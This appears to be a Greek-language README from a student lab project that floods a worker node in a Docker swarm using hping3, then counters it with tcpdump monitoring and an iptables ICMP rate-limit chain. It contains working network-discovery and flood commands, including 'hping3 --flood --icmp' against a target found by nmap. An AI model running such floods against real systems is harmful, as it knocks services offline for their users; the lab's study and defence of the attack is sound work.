You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

5.3 KiB

Προσομοίωση DDos Attack

Για την προσομοίωση της επίθεσης DDos θα χρησιμοποιήσουμε το hping3. Μέσω αυτού του εργαλείου, θα γίνει επίθεση από τον master σε μέλη του σμήνους.

Αρχικά θα κάνουμε εγκατάσταση του hping3 με τις εντολές:

sudo apt update

sudo apt upgrade -y

sudo apt install hping3 -y


Εκτέλεση Επίθεσης

Στη συνέχεια, θα χρειαστούμε τις ip του δικτύου μας και του worker στον οποίο θα επιτεθούμε. Θα χρησιμοποιήσουμε αυτοτελείς, αλλά και με τροποποιήσεις, τις εντολές από το αρχείο run.sh. Τις εντολές αυτές και την εντολή της εκτέλεσης της επίθεσης, θα γράψουμε στο script master.sh.

  • Η μεταβλητή my_ip περιέχει την ip του master

    my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}')

  • Για να πάρουμε την ip του όλου του δικτύου, θα εμφωλεύσουμε στη μεταβλητή network το περιεχόμενο της my_ip, αλλά το τελευταίο ψηφίο, τώρα είναι *.

    network=$(echo $my_ip | sed 's/.[0-9]$/.*/')

  • Στη μεταβλητή worker περιέχεται η ip του πρώτου worker, όπως αυτός υπάρχει στο σμήνος. Εάν θέλουμε να επιτεθούμε σε κάποιον άλλο worker, θα βάλουμε το επιθυμητό ψηφίο στην παράμετρο grep worker_ψηφίο.

    worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()')

  • Τώρα που έχουμε τις απαραίτητες πληροφορίες, μπορούμε να εκτελέσουμε την επίθεση. Χρησιμοποιώντας τη –flood στέλνονται τα πακέτα όσο το δυνατόν γρηγορότερα και δεν θα εμφανίζει τις απαντήσεις.

    sudo hping3 -p 80 --flood --icmp $worker


Αντιμετώπιση Επίθεσης

Αρχικά, θα πρέπει να συνδεθούμε στο worker που δέχεται την επίθεση με τη γνωστή εντολ, ssh docker@ip , όπου ip, εκείνη του εκάστοτε κόμβου. Χρησιμοποιώντας τα εργαλεία tcdump, netstat, αλλά και iptables, παρατηρούμε μέτρα για την αντιμετώπιση της επίθεσης, τα οποία παίρνει ο εκάστοτε worker.

Θα πρέπει να εγκαταστήσουμε τα εν λόγω εργαλεία:

sudo apt update

sudo apt upgrade -y

sudo apt install tcpdump -y

sudo apt install iptables -y

Στη συνέχεια θα γράψουμε ένα νέο script worker.sh, το οποίο θα περιλαμβάνει τη χρήση των εργαλείων. Το script πρέπει να εκτελεστεί αφού πρώτα έχουμε συνδεθεί στον αντίστοιχο worker.

  • Όπως και στο master.sh, αποθηκεύουμε την ip του worker σε μία μεταβλητή.

    my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}')

  • Μέσω των iptables βλέπουμε τι συμβαίνει στο worker κατά την επίθεση.

    sudo iptables -F

  • Για 2" παρακολουθούμε μόνο τα replies του επιτιθέμενου προς τον master (που εκτελέι την DDos). Χρησιμοποιώντας το firewall, φιλτράρονται τα εισερχόμενα πακέτα ICMP και θα πρέπει τα incoming να είναι όσα και οι απαντήσεις του worker.

    sudo timeout 2s tcpdump -i eth0 icmp and src $my_ip

  • Ως αντίμετρο, ο worker επιτρέπει μόνο ένα ICMP πακέτο ανά 1"

    sudo iptables -N icmp_flood

    sudo iptables -A INPUT -p icmp -j icmp_flood

    sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN

    sudo iptables -A icmp_flood -j DROP

  • Επιβλέπουμε για 5" τα ICMP replies προς τον master. Παρατηρώντας πόσο αλλάζει το μέγεθος των ICMP πακέτων ανά το διαφορετικό χρονικό όριο, βγάζουμε και τα αντίστοιχα συμπεράσματα.
    sudo timeout 5s tcpdump -i eth0 icmp and src $my_ip


Εκτέλεση


References

  1. http://www.ijens.org/Vol_12_I_03/1210803-7474-IJET-IJENS.pdf
  2. https://www.infosectrain.com/blog/dos-ddos-attacks/
  3. https://www.blackmoreops.com/2015/04/21/denial-of-service-attack-dos-using-hping3-with-spoofed-ip-in-kali-linux/